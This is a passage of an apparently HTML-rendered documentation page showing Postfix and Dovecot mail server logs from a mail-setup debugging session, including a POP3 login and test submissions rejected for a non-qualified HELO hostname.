&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944057&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx01&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.17.5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.38&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.28&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;Requested&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="n"&gt;okay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;MzjvV&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;sgRrf2LZJ&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0152&lt;/span&gt;&lt;span class="n"&gt;Y8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;943857&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;F22F2209BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TB asking for new mail:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PLAIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;51.68.71.43&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mpid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;944130&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NOJbWKcV3tRavqnT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;944130&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NOJbWKcV3tRavqnT&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Disconnected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;12373&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;del&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;12355&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Submit via quick_mail_test.py with EMAIL_USERNAME=”luc”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="mi"&gt;504&lt;/span&gt; &lt;span class="mf"&gt;5.5.2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Helo&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;fully&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qualified&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;yoga&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944041&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Submit via quick_mail_test.py with EMAIL_USERNAME=””:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944183&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944183&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;169&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;90.&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;estpak&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;90.190.169.211&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
  &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="n"&gt;xyz&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;944183&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; 